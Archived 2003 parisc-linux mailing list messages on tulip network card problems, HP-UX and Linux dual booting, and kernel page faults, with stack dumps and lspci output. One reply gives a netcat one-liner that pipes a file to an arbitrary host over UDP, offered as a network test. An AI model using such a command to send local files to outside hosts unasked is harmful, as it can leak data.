Message-ID: <Pine.LNX.4.44.0301152050130.30955-100000@gfrw1044.bocc.de>
References: <20030115125237.E26554@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622123 20322 80.91.229.3 (22 Nov 2014 02:08:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:43 +0000 (UTC)
Cc: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 12:53:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail2.scram.de (mail2.scram.de [195.226.127.112])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B7A04829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 12:53:30 -0700 (MST)
Original-Received: from gfrw1044.bocc.de (p5080CE9B.dip.t-dialin.net [80.128.206.155])
	(authenticated bits=0)
	by mail2.scram.de (8.12.6/8.12.6/Debian-8) with ESMTP id h0FJrFIJ006165;
	Wed, 15 Jan 2003 20:53:20 +0100
X-X-Sender: jochen@gfrw1044.bocc.de
In-Reply-To: <20030115125237.E26554@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17421

Hi,

> > The card is the HP ANA-6911A/AUI (yes, it's a 10/100BT with coax and
> > AUI too), part# A3738-60001, and it _is_ found by the tulip driver, but
> > for some reason the driver claims that "no MII transceiver found", and
> > does list the 10B2 and AUI connections too. But I can't seem to make it
> > form a link with TP or coax, no matter what I do. And the AUI connector
> > is blocked by the C240 chassis. Is there a simple way to force the use of
> > a certain transceiver? Tried mii-tool already and it didn't help much -
> > but then again it doesn't seem to know about the coax and AUI at all...
>
> how very interesting.  could you send an lspci -vvx for that card?

This might be a card with an older DC21x4x chipset. Maybe the de4x5.c
driver works better in this case.

--jochen



From - Thu Nov 08 21:26:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Is Linux and HP-UX coexistence on same system possible?
Date: Wed, 15 Jan 2003 16:26:46 -0800 (PST)
Lines: 32
Approved: news@gmane.org
Message-ID: <20030116002646.1973.qmail@web12501.mail.yahoo.com>
References: <FFE5E286773CD411873400D0B747AC580681AB8B@goedel.bbn.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1756462419-1042676806=:1178"
X-Trace: ger.gmane.org 1416622123 20324 80.91.229.3 (22 Nov 2014 02:08:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:43 +0000 (UTC)
To: "BUEHL,REINER (HP-Germany,ex1)" <reiner.buehl@hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 17:26:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12501.mail.yahoo.com (web12501.mail.yahoo.com [216.136.173.193])
	by dsl2.external.hp.com (Postfix) with SMTP id 5CE814829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 17:26:47 -0700 (MST)
Original-Received: from [156.153.255.134] by web12501.mail.yahoo.com via HTTP; Wed, 15 Jan 2003 16:26:46 PST
In-Reply-To: <FFE5E286773CD411873400D0B747AC580681AB8B@goedel.bbn.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17422

--0-1756462419-1042676806=:1178
Content-Type: text/plain; charset=us-ascii


You can only do it using 2 completely seperate disks or in my case I boot from 2 different LUNs on my Autoraid Model 12 - one LINUX the other HP-UX.
derek
 "BUEHL,REINER (HP-Germany,ex1)" <reiner.buehl@hp.com> wrote:Hi all,

Is it possible to install parisc linux into an empty logical volume of an
existing HP-UX 11 installation and then boot one or the other OS?

Best regards,
Reiner.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now
--0-1756462419-1042676806=:1178
Content-Type: text/html; charset=us-ascii

<P>You can only do it using 2 completely seperate disks or in my case I boot from 2 different LUNs on my Autoraid Model 12 - one LINUX the other HP-UX.
<P>derek
<P>&nbsp;<B><I>"BUEHL,REINER (HP-Germany,ex1)" &lt;reiner.buehl@hp.com&gt;</I></B> wrote:
<BLOCKQUOTE style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">Hi all,<BR><BR>Is it possible to install parisc linux into an empty logical volume of an<BR>existing HP-UX 11 installation and then boot one or the other OS?<BR><BR>Best regards,<BR>Reiner.<BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Yahoo! Mail Plus</a> - Powerful. Affordable. <a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Sign up now</a>
--0-1756462419-1042676806=:1178--


From - Thu Nov 08 21:26:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Wed, 15 Jan 2003 18:06:20 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <20030116010620.GB8543__10416.6468409405$1416622124$gmane$org@dsl2.external.hp.com>
References: <3DED9A6600005A12@ocpmta3.freegates.net> <3E1AA52C0000167E@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622124 20334 80.91.229.3 (22 Nov 2014 02:08:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:44 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 18:06:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 06CED4829; Wed, 15 Jan 2003 18:06:21 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3E1AA52C0000167E@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17423

On Wed, Jan 15, 2003 at 05:14:47PM +0100, jsoe0708@tiscali.be wrote:
> >There are a lot of differences (do you want it I do not think it will be
> >usefull)
> >
> >> or a default .config if that's closer?
> >
> >It will have to wait tommorrow (sorry)

np. I also want you to look at something that is known
to work before going too far.

> I now add CONFIG_TULIP_MMIO=yes

yes. that's what I meant.

> (Randolph: Do you want I send you those new material: kernel, system.map,
> ...?)

Or make them available via http or ftp.
Otherwise, posting what symbols the IAOQ/GR02 values point at
is even better.

> I also forget to recall: this only occurs for incoming ethernet trafic(ie
> ssh, telnet, ftp, coming from an external server). The outgoing traffic
> works fine (I just do a telnet and a ftp from this server to an external
> one without crash)

Interesting. "outgoing" has both inbound and outbound data.
That doesn't sound like a tulip driver bug though it's certainly
possible.

Have you tried sending UDP (not TCP) traffic?
(Not sure how to do that...suggestions?)

You have any iptables (firewall) filtering enabled?

Maybe an issue with opening a new connection in the interrupt context?
My weak understanding of the network stack is that a TCP packet comes
in with SYN (on the interrupt stack) and gets queued for the bottom
half. The bottom half is invoked with interrupts re-enabled but
on the kernel stack in the "interrupt context". Did I get that right?

hth,
grant


From - Thu Nov 08 21:26:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Wed, 15 Jan 2003 18:41:45 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <20030116014145.GC8543__16911.5122444511$1416622124$gmane$org@dsl2.external.hp.com>
References: <3DED9A6600005A12@ocpmta3.freegates.net> <3E1AA52C0000167E@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622124 20336 80.91.229.3 (22 Nov 2014 02:08:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:44 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 18:41:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 095884829; Wed, 15 Jan 2003 18:41:45 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3E1AA52C0000167E@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17424

On Wed, Jan 15, 2003 at 05:14:47PM +0100, jsoe0708@tiscali.be wrote:
> and I got this time actual stack dump:
>  for builtin NIC:
> Stack Dump:
>  1ebd4780:  0004ff0f 54203230 38204345 35343a30
>  1ebd4770:  2031343a 101e0e7c 64204a61 31205765
>  1ebd4760:  2e0a2023 6d61696c 61766520 6f752068
>  1ebd4750:  75780a59 2f4c696e 20474e55 00075f10
>  1ebd4740:  0000001b 00069e0c 00069e0c 00000008
>  1ebd4730:  1ebd4588 101e27e4 1fe3ac80 00000000
> 
> Kernel addresses on the stack:
>  [<101e0e7c>]  [<101e27e4>]  [<101e25f8>]  [<101e0bec>]
>  [<1014b828>]  [<101de398>]  [<10104a6c>]  [<1013f4ac>]
>  [<10109f90>]  [<10109084>]  [<10109d4c>]  [<1013ff24>]
>  [<1013e3e4>]  [<1014ec28>]  [<101213f0>]

Randolph made the matching config/System.map available to me.

> Kernel Fault: Code=26 regs=1ebd4780 (Addr=00000082)

data page fault. looks like a null ptr dereference.
Above Kernel addresses point to:
0x101e0e7c opost+c8
0x101e27e4 write_chan+1ec
0x101e25f8 write_chan+0
0x101e0bec do_tty_write+134
0x1014b828 path_walk+14
0x101de398 tty_write+30
0x10104a6c handle_interruption+150
0x1013f4ac sys_write+a4
0x10109f90 syscall_exit+0
0x10109084 intr_check_sig+0
0x10109d4c child_return+0
0x1013ff24 chrdev_open+64
0x1013e3e4 dentry_open+f4
0x1014ec28 locate_fd+70
0x101213f0 it_real_fn+0

Seems like a jumble of stack traces.
Start with IOAQ (0x101e0dcc opost+18) and GR02 (rp, 0x101e27e4
write_chan+1ec) and look at source code to see which
kernel stack addresses are valid.

In any case, doesn't look like a problem with tulip driver.
I'll let someone else keep poking at this.

>   AND FOR External Nic:

> Kernel Fault: Code=6 regs=1ec3e080 (Addr=701e49c4)

This is bad. The kernel branched off into the weeds
or something. Could be the same problem though.

grant


From - Thu Nov 08 21:26:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Interesting network card ...
Date: Wed, 15 Jan 2003 19:11:11 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20030116021111.GD8543@dsl2.external.hp.com>
References: <20030115085619.GA17760@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622124 20339 80.91.229.3 (22 Nov 2014 02:08:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 19:11:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id DCE564829; Wed, 15 Jan 2003 19:11:11 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030115085619.GA17760@aurinko.ntc.nokia.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17425

On Wed, Jan 15, 2003 at 10:56:20AM +0200, Nahkola Mikko wrote:
> What's the deal with the various HP-branded tulip-based NICs? Are they 
> expected to "just work" or what?

yes.

> I found one that sure doesn't, but then 
> again, but my kernel isn't actually new ... (2.4.18-32 packaged)

...a newer kernel would be more interesting.

> The card is the HP ANA-6911A/AUI (yes, it's a 10/100BT with coax and 
> AUI too), part# A3738-60001, and it _is_ found by the tulip driver, but 
> for some reason the driver claims that "no MII transceiver found",

This does sound like a bug (fixed) in the tulip driver relating to
MII initialization. But I'm surprised to see it manifest on a C240.

One should be aware that HP sold 4 different flavors of single port
100BT cards based on tulip chipsets. IIRC, they were:
o PCI "server" 
o GSC (card-mode Dino)
o PCI "workstation"
o PCI V-class only

(and an NIO 100BT also that I don't know anything about).

And each had a different HP-UX driver to go with it (btlan3-6).
Eventually all 4 drivers were merged into one but that's still fairly
recent history.

grant


From - Thu Nov 08 21:26:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Wed, 15 Jan 2003 20:12:18 -0800 (PST)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.50.0301152007120.1998-100000__1499.33437719501$1416622125$gmane$org@ssh.apptechsys.com>
References: <3DED9A6600005A12@ocpmta3.freegates.net> <3E1AA52C0000167E@ocpmta1.freegates.net>
 <20030116010620.GB8543@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622125 20342 80.91.229.3 (22 Nov 2014 02:08:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:45 +0000 (UTC)
Cc: jsoe0708@tiscali.be, Randolph Chung <tausq@debian.org>,
	"" <parisc-linux@lists.parisc-linux.org>,
	"" <debian-hppa@lists.debian.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 21:12:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 128DF4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 21:12:20 -0700 (MST)
Original-Received: from ssh.apptechsys.com (ssh.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id B81BF7BC9F; Wed, 15 Jan 2003 20:12:18 -0800 (PST)
In-Reply-To: <20030116010620.GB8543@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17426

On Wed, 15 Jan 2003, Grant Grundler wrote:

> Have you tried sending UDP (not TCP) traffic?
> (Not sure how to do that...suggestions?)
> 
netcat: cat /something | nc -u host port

-- 
You were s'posed to laugh!


From - Thu Nov 08 21:26:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Interesting network card ...
Date: Thu, 16 Jan 2003 11:30:28 +0200
Lines: 134
Approved: news@gmane.org
Message-ID: <20030116093028.GD17760@aurinko.ntc.nokia.com>
References: <20030115085619.GA17760@aurinko.ntc.nokia.com> <20030116021111.GD8543@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622125 20343 80.91.229.3 (22 Nov 2014 02:08:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:45 +0000 (UTC)
Cc: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>,
	parisc-linux@lists.parisc-linux.org
To: ext Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 16 02:30:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9270F4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Jan 2003 02:30:32 -0700 (MST)
Original-Received: from esvir05nok.ntc.nokia.com (esvir05nokt.ntc.nokia.com [172.21.143.37])
	by mgw-x1.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h0G9TZ006678
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Jan 2003 11:29:35 +0200 (EET)
Original-Received: from esebh003.NOE.Nokia.com (unverified) by esvir05nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T5fd329e3c8ac158f2513b@esvir05nok.ntc.nokia.com>;
 Thu, 16 Jan 2003 11:30:30 +0200
Original-Received: from aurinko.ntc.nokia.com ([172.22.105.49]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Thu, 16 Jan 2003 11:30:30 +0200
Original-Received: (from mnahkola@localhost)
	by aurinko.ntc.nokia.com (8.11.6/8.11.6) id h0G9US927959;
	Thu, 16 Jan 2003 11:30:29 +0200 (EET)
Content-Disposition: inline
In-Reply-To: <20030116021111.GD8543@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-OriginalArrivalTime: 16 Jan 2003 09:30:30.0446 (UTC) FILETIME=[E94D0CE0:01C2BD41]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17427

On Wed, Jan 15, 2003 at 07:11:11PM -0700, ext Grant Grundler wrote:
> On Wed, Jan 15, 2003 at 10:56:20AM +0200, Nahkola Mikko wrote:

> > What's the deal with the various HP-branded tulip-based NICs? Are they 
> > expected to "just work" or what?

> yes.

Well, at least then there's hope in trying to get it to work ...

> > I found one that sure doesn't, but then 
> > again, but my kernel isn't actually new ... (2.4.18-32 packaged)

> ...a newer kernel would be more interesting.

Recommendations? For some reason I haven't managed to get a working 
kernel by building from source ... I do still have a 2.4.19-pa24 that I 
did get to boot even if it wasn't all that good. I mean, at least the .18 
has all the basic functionality that I tend to use.

Could be because I still have only the Debian-packaged tools. I haven't 
taken the time to run after the toolchain development ... didn't even get 
a newer modutils package yet.

Any ready-built package that I should try, or sould I just pull a newer 
(which version?) toolchain and compile from sources (which version?) - I 
haven't really paid enough attention to that stuff lately...

> > The card is the HP ANA-6911A/AUI (yes, it's a 10/100BT with coax and 
> > AUI too), part# A3738-60001, and it _is_ found by the tulip driver, but 
> > for some reason the driver claims that "no MII transceiver found",

> This does sound like a bug (fixed) in the tulip driver relating to
> MII initialization. But I'm surprised to see it manifest on a C240.

What do you mean, surprised to see it manifest on a C240? How so?

> One should be aware that HP sold 4 different flavors of single port
> 100BT cards based on tulip chipsets. IIRC, they were:
> o PCI "server" 
> o GSC (card-mode Dino)
> o PCI "workstation"
> o PCI V-class only
> (and an NIO 100BT also that I don't know anything about).

This might be the PCI "server" card. Not sure, partsurfer only knows an 
ANA-6911 without the A and AUI, and not much about that either... and I 
only see the 4-port cards usually. 

BTW, the NIO 100BT is an interesting beast. It (or the driver) is the 
only reason why one of our HP-UX boxes only gets about half an year max 
uptime usually ... and has other "interesting" "features". 

> And each had a different HP-UX driver to go with it (btlan3-6).
> Eventually all 4 drivers were merged into one but that's still fairly
> recent history.

Well, recent enough to predate all the entries that partsurfer showed 
about the ANA-6911. 

And it was still better than the deal with the EISA drivers - I mean, 
duh, I did get (the devices, not drivers) lan0 and btlan0 as different 
adapters once ... 

Anyway, here's some from lspci and dmesg. The adapter in question is the 
first one - it usurped eth0 and still didn't go anywhere - and as usual,
things got interesting, as the box is a NIS and NFS client... 
Notably it is a higher revision than the builtin adapter, and therefore I 
wouldn't expect to need the de4x5 driver.

--------------------
# lspci -vvx
01:01.0 Ethernet controller: Digital Equipment Corporation DECchip 21142/43 (rev 41)
        Subsystem: Hewlett-Packard Company: Unknown device 1067
        Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr+ Stepping- SERR+ FastB2B-
        Status: Cap- 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
        Latency: 255 (5000ns min, 10000ns max), cache line size 08
        Interrupt: pin A routed to IRQ 129
        Region 0: I/O ports at 1fd00 [size=128]
        Region 1: Memory at f2ffc000 (32-bit, non-prefetchable) [size=1K]
        Expansion ROM at f2f80000 [disabled] [size=256K]
00: 11 10 19 00 57 01 80 02 41 00 00 02 08 ff 00 00
10: 01 fd 00 00 00 c0 ff f2 00 00 00 00 00 00 00 00
20: 00 00 00 00 00 00 00 00 00 00 00 00 3c 10 67 10
30: 00 00 f8 f2 00 00 00 00 00 00 00 00 01 01 14 28

01:13.0 SCSI storage controller: LSI Logic / Symbios Logic (formerly NCR) 53c875 (rev 04)
        Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr+ Stepping- SERR+ FastB2B-
        Status: Cap- 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
        Latency: 255 (4250ns min, 16000ns max), cache line size 08
        Interrupt: pin A routed to IRQ 131
        Region 0: I/O ports at 1fe00 [size=256]
        Region 1: Memory at f2ffd000 (32-bit, non-prefetchable) [size=256]
        Region 2: Memory at f2ffe000 (32-bit, non-prefetchable) [size=4K]
00: 00 10 0f 00 57 01 00 02 04 00 00 01 08 ff 00 00
10: 01 fe 00 00 00 d0 ff f2 00 e0 ff f2 00 00 00 00
20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
30: 00 00 00 00 00 00 00 00 00 00 00 00 03 01 11 40

01:14.0 Ethernet controller: Digital Equipment Corporation DECchip 21142/43 (rev 30)
        Subsystem: Hewlett-Packard Company: Unknown device 104f
        Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr+ Stepping- SERR+ FastB2B-
